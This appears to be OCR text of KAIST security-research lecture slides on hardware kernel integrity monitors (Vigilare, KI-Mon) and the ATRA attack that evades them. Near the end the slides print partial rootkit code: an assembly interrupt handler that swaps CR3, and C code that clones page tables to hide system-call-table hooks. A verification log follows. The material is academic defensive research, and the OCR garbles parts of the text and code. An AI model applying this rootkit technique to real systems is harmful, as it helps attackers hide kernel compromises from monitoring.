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Vulnerable Applications, Systems and Malwares

Is the world without malware possible?
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Platform System Integrity Monitor
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KI-MON and VIGILARE

e Deployed in Samsung Smart TV as part of its
security system (GAIA)

Anti-Emulation Detection (2018) and Heap
Exploitation Defense (2017)

e  Samsung Software Security Solution

Bus snooping-based attack detection/
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Vulnerable Applications, Systems and Malwares

Can we have make computation safe despite the presence of malware?
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Secure Isolation of Application
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Secure Isolation of Application
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Data-at-Rest Protection
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Data-in-Transit Protection
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Data-in-Use Protection
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Data-in-Use Protection: Confidential Computing
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Roadmap: System Integrity Monitors

= Research Overview
= Operating Systems Integrity Monitoring

= Vigilare for Static Kernel Region
= ACM CCS 2012

= KI-Mon for Dynamic Kernel Region
= Usenix Security 2013

= ATRA: Address Translation Redirection Attack
= ACM CCS 2014
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Rootkit Attacks on OS Kernels

= Rootkits control victimized OS to report false information

= Detection/Recovery attempts from the layers above the
kernel are not trustworthy

High-Level Device Driver(Ring 2)

.
7>

Low-Level Device Driver(Ring 1)
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Kernel Integrity Monitoring Platforms

= Kernel rootkit detection therefore requires a safe execution
environment outside of OS kernel

Hypervisor-based External Hardware-based

KAIST 20 CySeclLab



Protecting Integrity of OS Kernels

= Hypervisor / VMM based approaches

= Recently, approaches based on hypervisors have gained popularity.
= SB CFI, Kernel Guard, OSck, Livewire

= However, as hypervisors are becoming more and more complex,
hypervisors themselves are exposed to numerous software
vulnerabilities

= E.g., Bluepill, DMA code injection, Subvirt

= Hardware based approaches
= Copilot, PCl hardware, Static kernel region
= HyperSentry, Intel SMM, Stop host to check integrity
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Snapshot Analysis Monitoring

= Usually assisted by some type of trusted component that
= Enables saving of the memory contents into a snapshot
= Perform an analysis to find the traces of a rootkit attack

= Some Examples
= Copilot

= A custom Peripheral Component Interconnect (PCl) card to create
snapshots of the memory via Direct Memory Access (DMA)

= HyperSentry

= The System Management Mode (SMM) are utilized to implement the
snapshot- based kernel integrity monitors

KAIST 29 CySeclLab



Snapshot-based Monitoring

= Inherent weakness
» |nspect the snapshots collected over a certain interval,
= Missing the evanescent changes in between the intervals.

= Vulherable to transient attack
= Not leave persistent traces in memory contents,
= Using only momentary and transitory changes.

KAIST 73 CySeclLab



Transient Attack

= Difficulties of Detecting Transient Attacks
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Transient Attack / Scrubbing Attack

= Difficulties of Detecting Transient Attacks
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Addressing Transient Attack

= Raising the rate of snapshot-taking
* increase the probability of detection.

* Frequent snapshot-taking
» increased overhead to the host system.

= Randomizing the snapshot interval
» The detection rate would greatly depend on luck

KAIST 26 CySeclLab



Transient Attack / Scrubbing Attack

= Raising the rate of snapshot taking.
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Vigilare : Snoop-based Kernel Integrity Monitor

= Overcomes the limitations of existing snapshot-based kernel integrity
monitoring.

= Monitors the operation of the host by “snooping” the bus traffic
= Of the host system

= From a separate independent system module

= First Prototype:
= Static immutable region integrity checking

Keep your heart with all vigilance, for from it flow the springs of life. Proverbs 4:23 (ESV)
Because the Lord kept vigil that night to bring them out of Egypt, on this night all the Israelites
are to keep vigil to honor the Lord for the generations to come. Exodus 12:42 (NIV)

KAIST )8 CySeclLab



Design and Implementation
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Snooper for Static Immutable Region

= Selective Bus-traffic Collection

= Snooper must be designed with a selective bus-traffic collection
algorithm

Entire System

S stem Bus
Traffic P

o e
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Design and Implementation

= Handling Bursty Traffic

= AMBA2 hardware

= 4 byte address, 4byte data per traffic
= |t takes more than one cycle for one traffic

= Filter out uninteresting traffic with hardware module

= Support Static Immutable Region
= All read traffic is filtered
= All write traffic that is not in immutable region is filtered

KAIST 31 CySeclLab



Design and Implementation

= Monitoring target: static/immutable regions
= Kernel codes
= System call table
» Interrupt descriptor table

= Physical address of targets
= Physical locations of static regions are not changed after bootstrap
» Find locations on bootstrap and use them for kernel runtime

KAIST 37 CySeclLab



Design and Implementation

¢ Prototypes

e Host system (monitoree)
e 50MHz Leon 3 processor (SPARC V8)
e 64MB SDRAM
e Basis of SnoopMon
e SnoopMon (Vigilare)
e Host system + Snooper + Verifier
e SnapMon (Snapshot based approach)
e Host system + DMA + Verifier

e Hash accelerator hardware
e 5seconds->1.3ms

KAIST 33 CySeclLab



Experimental Result

e Performance

e STREAM benchmark is widely used for measuring the memory
bandwidth of a computer system

e Tuned STREAM_BENCH
o float ->int

e Transient attack

e Synthesized rootkit example that performs transient attack to static
immutable region

e E.g., system call table with size of 1MB

KAIST 34 CySecLab



Experiment: Performance Degradation
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Experiment: Transient Attack Detection
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Conclusion: Snooper for Static Kernel Region

e Vigilare, a snoop-based monitoring scheme with hardware
support

e Snooper for static immutable region integrity

e Snapshot approach has fundamental trade-off
e Longer interval, less performance degradation
e but, less ability to detect transient attacks
e Shorter interval, more performance degradation

e Snooping based approach can
e Detect all transient attacks on immutable static regions
e No performance degradation

KAIST 37 CySecLab



Challenges in Monitoring Dynamic Kernel Region

e Dynamic-location of data structure
e Objects are allocated runtime
e Addresses are obtained multiple steps of point traversal
e Monitoring regions are no longer fixed

e Dynamic-size data structures
e Number of nodes or entries flexibly changes as in
e linked lists or queues.

e Dynamic-content
e Legitimate changes from the normal operations of kernel

e Additional periodic snapshots in parallel with the integrity

- monitoring, frequent enough tosgeep track of changes CySecLab
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Existing external hardware-based monitors

® 1. Copilot (Sec ‘04)

®  Presented snapshot-based kernel static region monitoring

®  Simplistic hash comparison scheme

® 2. Vigilare (CCS’12)

®  Presented snoop-based monitoring that detects all write traffic to kernel static region
including transient attacks

®  Qvercome high performance overhead of high-frequency snapshots with snoop-based
monitoring

® Existing Works are Limited to

®  Static regions of kernel

®  No ability to handle mutable kernel object

KAIST 40 CySeclLab



Mutable Kernel Objects in Kernel Dynamic Region
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Monitoring Mutable Kernel Objects

KAIST
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Monitoring Mutable Kernel Objects
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KI-Mon Platform

= Based on external hardware, explored possibilities of
detecting rootkit attacks on mutable kernel objects

= Developed hardware-assisted mechanisms that can be
utilized to build rootkit detection rules

» hardware-assisted memory whitelisting for value verification
= event-triggered callback mechanisms for semantic verification

= KI-Mon API for Programmability

KAIST 44 CySecLab



KI-Mon: Vigilare for Dynamic Kernel

KI-Mown Main Module
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Refined (Haw)Event Generation

—-Generate Event(Addr,Value)+——p
Set of
Value Filter white-listed
r values
Set of addresses Address Filter
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Read Traffic Filter

t

Bus Traffic Feed
| |
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Monitoring Rules

= Configurable APlIs

typedef struct MonitoringRuleType{
CriticalRegion criticalRegion;
WhiteList whitelist;

void initMonitoringRule();

Region Monitored by VTMU and trigger
event generation

Whitelist can be set for the critical Region

int (*onHawEvent)(addr,value); |
int (*inspectIntegrity)(argArray);|

< Event handling routine triggered by event
from VTMU

int (*traceDataStructures)();
} MonitoringRule;

— Used for semantic verification

— Used for whitelisting-based verification

KAIST 47
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Software Platform for KI-Mon

Monitor Layer ‘ KI-Veri

Semantic Layer [ MonitoringRule J

Data Structure Layer Dai.:a. S-tructur-e
Acquisition Engine
Address
Raw Data Layer DI.VIA VT_MU Translation
Driver Driver Engine
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Snapshot-based vs Snoop-based
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CPU Cycles of the Kernel Monitors
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Memory Bandwidth Overhead on the Monitored Host
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Memory Bandwidth Overhead on the Monitored Host

e Detection rate against 100 trials of LKM hiding attack

e KI-Mon outperforms in terms of detection rate against
rapidly changing data

e Events missed in between snapshots

1khz Snapshot Max-frequency KI-Mon
Snapshot
(over 10khz)

4% detected 70% detected 100% detected
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Summary for KI-Mon

= KI-Mon presented an event-triggered monitoring scheme on
an external hardware

= Prototyped the design with LEON3 (SPARC) processor on a
FPGA-based development board

* Implemented KI-Mon API for programmability

= Evaluated the platform with VFS hooking and LKM hiding
monitoring rule

= Experiments showed KI-Mon design efficacy and efficiency
in terms of processor usage

KAIST 53 CySeclLab



Rootkit and Kernel Integrity
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ATRA attack

= Can deceive EXTERNAL SYSTEM

HOST SYSTEM EXTERNAL SYSTEM

|
> ATRA Am;x

Virtual Address | Physical Address
0x5000 N/A
0x6000 0x3000
0x7000 N/A
0x8000 0x9000
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Roadmap

= Introduction & Background
= Rootkit and kernel integrity verification
® Virtual address and paging

® Problem of existing work

= Attack Design
=" Memory bound ATRA
® Register bound ATRA

= Implementation & Evaluation

= Conclusion

KAIST 57 CySeclLab



What is Rootkit?

" In a nutshell : Kernel privileged malware

= Stealthy type of software which manipulates OS
" Disable anti-virus software
" Hide specific Information
= Networking
= File
" Process
= Key-logging
" |ntercept H/W Interrupt

KAIST 58 CySeclLab



Example : System Call Hooking

= System Call Table
® Global table of kernel function pointers
® Each function provides a kernel service
® (e.g., sys_open, sys_execve)
® Resides in memory

® Should not be changed after booting
® |f rootkit modifies system call table, OS service will be changed

SYSTEM CALL TABLE sys_open()

READ
waiTe
CySeclLab
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Hardware-based Memory Monitor

= Hardware Monitor

® Completly stealthy from host system

® Unlikely to be compromised

T T W B
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Current H/W-based Memory Monitors

= Copilot (ACM CCS 2004)

® Uses memory DMA to detect kernel modifications

= Vigilare (ACM CCS 2012)

® Snoops memory bus to detect kernel modifications

= KIMON (Usenix Security 2013)

® Detects illegal memory modification of kernel dynamic region

= Mguard (ISCA 2013)

® Similar to KIMON, advanced architectural support

KAIST 61 CySeclLab



Attack Model / Assumption

= Attacker has root privilege
® Rootkit

= Attacker’s goal
®" Manipulate the OS without being detected

= Defender’s goal
® Detect manipulation against OS

= Defender’s capability
® Access memory using physical address
® No access to CPU register context

= Host system uses ‘Paging’
= ATRA exploits paging mechanism to circumvent external monitors

KAIST 62 CySeclLab



Problems of HW-based Monitors

= HW monitors cannot understand Virtual Address
'] Memory-bound ATRA

= HW monitors cannot know CPU register context

] Register-bound ATRA oo Physical
: X Addr.
Virtual Physical 0x3000 -
[ Addr. Addr. < - HW-based
Registers _# A -base
0x600 MMU 0x3000

d\ Monitor

CPU ¢

[ Page Table ] Memory

0x5000
0x6000 0x3000 OxFEEF
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Problems of HW-based Monitors

= HW monitors cannot understand Virtual Address
'] Memory-bound ATRA

= HW monitors cannot know CPU register context
] Register-bound ATRA

Physical

0x0000 A d d r.

Virtual 0x3000

-

Physical - "
Addr. << —_—

i Addr. \ HW-based
[ Registers 0x600 MMU - \ | Monitor

KAIST
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ATRA (Address Translation Redirection Attack) Overview

KAIST
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PTE-ATRA (Page Table Entry-ATRA)

Hardware Registers in CPU
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PGD-ATRA (Page Directory Entry-ATRA)

Hardware Registers in CPU

Saved Context
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—————— Modified Pointer Translation

Normal Pointer Translation
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Saved-CR3-ATRA
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CR3-ATRA
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Memory Bound ATRA
(parent pointers of paging data structures)

" |In fact, there are a lot of pointers which needs to be
protected for address translation integrity

mm_struct pgd
*mm = PGD
#,
E ped [ entry
1 1
PGD  '----1 L
""""" PTE | ,?.(_;_E, PTE
Kernel > l»-l H— ! R e
Scheduler 1 l - L i N },
task_struct
ask_struc mm_struct ped
*mm PGD
*pgd : : (i
l T PGD - i PGD :
PTE e PTE
e > } """" LI ———
> I» "’3 l R l

Memory region to be monitored 3 "
to prevent ATRA :l Data structure for locating PGD { ; Page Table

—>  Virtual address referencing -=--> Virtual to physical address translation
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CR3-ATRA in detail

= Directly changing CR3 register only affects the current
process’s address space, how to apply this globally?

—

" Find a global register-based hooking point!
® |IDT hooking would be a good example.

KAIST 24 CySeclLab



Kernel
Scheduler

1 : All process must invoke ISR before accessing
any kernel object

Redirect Rootkit Victim 2 : IDT is global and can be relocated w/o accessing
| Process Process known memory
[ IDTR v ¥
CPU 0x1000(pf_handler) 0x1000(pf_handler)
0x2000(sys_call_handle) OxBEEF(atra_handler)
0x3000(gpf_handler) 0x3000(gpf_handler)
0x4000(timer) 0x4000(timer)
invoke ..
_ [ Attacker’s ISR ]" CR3 Redirection ]
— (@)
[ Orlglnal ISR ]( I _____________________________ Rg_qufect!
* Root ;age Roc;t Page
Table Table
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CR3-ATRA and Context Switch

" The resulting behaviour is as follow

PA: Physical Address
%  Context Switch

CR3 Value
v  Entering Kernel Mode

PA of A’s PGD |
l | |
PA Copy of A’s PGD — : —
| |
% e ¥
I l : I l
PA of B’s PGD — I —
| ; I
PA Copy of B’s PGD — L

Process A ProcessB Process A Process B
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Implementation

= ATRA is implemented as a LKM rootkit module
" OS: Linux kernel 2.6
= Architecture : x86

® Over 300 lines of C & assembly code
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void my handler() {
asm("push $edx\n");
asm("mov $0x7b, %$edx\n"); // setup DS, ES selector.
asm("mov $edx, %$ds\n"):;
asm("mov %$edx, %es\n");
asm("mov $0xd8, $edx\n"); // setup FS selector.
asm("mov $edx, $fs\n");
asm("pocp $edx\n");
asm("cli");
asm("mov %%eax, 30" : "=r"(sys_num) );
asm("push $eax"):;
asm("push $ebx"):
asm("push %$ecx");
asm("push $edx");
asm("push %$esi");
asm("push $edi"):;
asm("sub $0x40, %esp"):
do_attack():
asm("movl $0, $%cr3™ ::"r"(cr3_new[current->pid])); // relocate CR3!!
asm("invlpg 0xc0509940"); // flush TLB for SCT
asm("add $0x40, 3$esp"):
asm("pop %$edi");
asm("pop %$esi"):;
asm("pop %$edx");
asm("pop %$ecx");
asm("pop %$ebx"):;
asm("pop %$eax"):;
asm("sti");
asm("leave\n");
asm("push $0xc0104020\n"); // return to original INT 0x80 handler
asm("ret\n");
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// now we have virtual address of original PTE
unsigned int* ppte;
ppte = (pgd_e & PAGE MASK) + PAGE_OFFSET;
// first PIE allocation
if( unlikely( !'new_pte([pid] ) ){
pte_page = alloc_pages (GFP_KERNEL, 0);
new_pte[pid] = (int*)page_address(pte_page):’
}
memcpy (new_pte[pid], ppte, PAGE_SIZE);

// change copied PTE entry to point copied SCT page.

e = (((unsigned int)new_sct_page) - PAGE OFFSET) | 0x1é&7;
index = ((unsigned int)ori_sct & PTE_MASK) >> 12;
new_pte[pid] [index] = e;

// first PGD allocation

if( unlikely( 'new_pagd[pid] ) ){
pgd_page = alloc_pages (GFP_KERNEL, 0);
new_pgd[pid] = (int*)page_address(pgd_page):

}

memcpy (new_pgd[pid], current->mm->pgd, PAGE SIZE);

// change copied PGD entry to point copied PTE.

e = ((unsigned int)new_pte[pid] - PAGE_OFFSET) | 0x167;
index = ((unsigned int)ori_sct & PGD MASK) >> 22;
new_pad([pid] [index] = e;

// new cr3 value for copied PGD

cr3_new[pid] = (unsigned int) (new_pagd([pid]) - PAGE_OFFSETI;
return ;
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ATRA Verification

KAIST

= KOBJ : System Call Table

" Monitoring physical address 0x509000 becomes useless endeavor

root@null# ./ATRA Veri

[ Time][ CR3 1[ PGD 1[ PTE 1[ KOBJ] ]

[(sec)][ value ][ paddr ][ paddr ][ paddr ]

[ 81 ]1[35D32000][35D32000] [3666D000] [0056090600]

[ 82 1[35D32000][35D32000] [3666D000O] [00509000]

[ ©3 ]1[35D32000][35D32000] [3666DO0O] [60509000]
04 35D32000] [35D32000] [3666D000] [00509000

05 35DC5000] [35DC5000] [35DBFOOO] [34C16000
[ 6 ][35DC5000][35DC5000] [35DBFOOO] [34C166000]
[ 87 1[35DC5000][35DC5000] [35DBFOOO] [34C166000]

[ 08 1[35DC5000][35DC5000][35DBFO00][34C16000]

ATRA
in effect

[ 89 ]1[35D32000][35D32000] [3666DO0O] [00509000]
[ 1@ ]1[35D32000][35D32000] [3666DO0O] [00509000]
[ 11 ]1[35D32000][35D32000] [3666D000O] [00509000]
[ 12 ]1[35D32000][35D32000] [3666DOOO] [00509000]
e

root@null#
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Evaluation

= Question : doesn’t ATRA crash the OS?

® Answer : No.

® But you need to implement it right.

=" ATRA however degrades system performance
" Not much as detectable

® External monitor cannot evaluate the system performance

KAIST - CySeclLab



UnixBench after CR3 ATRA

= OS is stable

= Execl Throughput degrades due to the additional memory allocation

O Before @2 After

900 -
800 S
g 7 i
o B
500 - B
400 - L
3001 o o
0o |

0 b D 7 -

Execl File Copy 1024 Pipe Process System Call
Throughput Throughput Creation Overhead
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STREAM bench after CR3 ATRA

= OS is stable, performance degradation is negligible

& Before After ® After(w/o TLB flush)

2500 -
2000 -

1500

MB/

1000

500 | |

0
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Conclusion

= ATRA proves all the existing H/W based kernel integrity
monitoring approaches can be completely evaded

= Address Translation Redirection Attack is feasible

= We hope that the future research regarding H/W based
monitoring to become more trustworthy by addressing
ATRA
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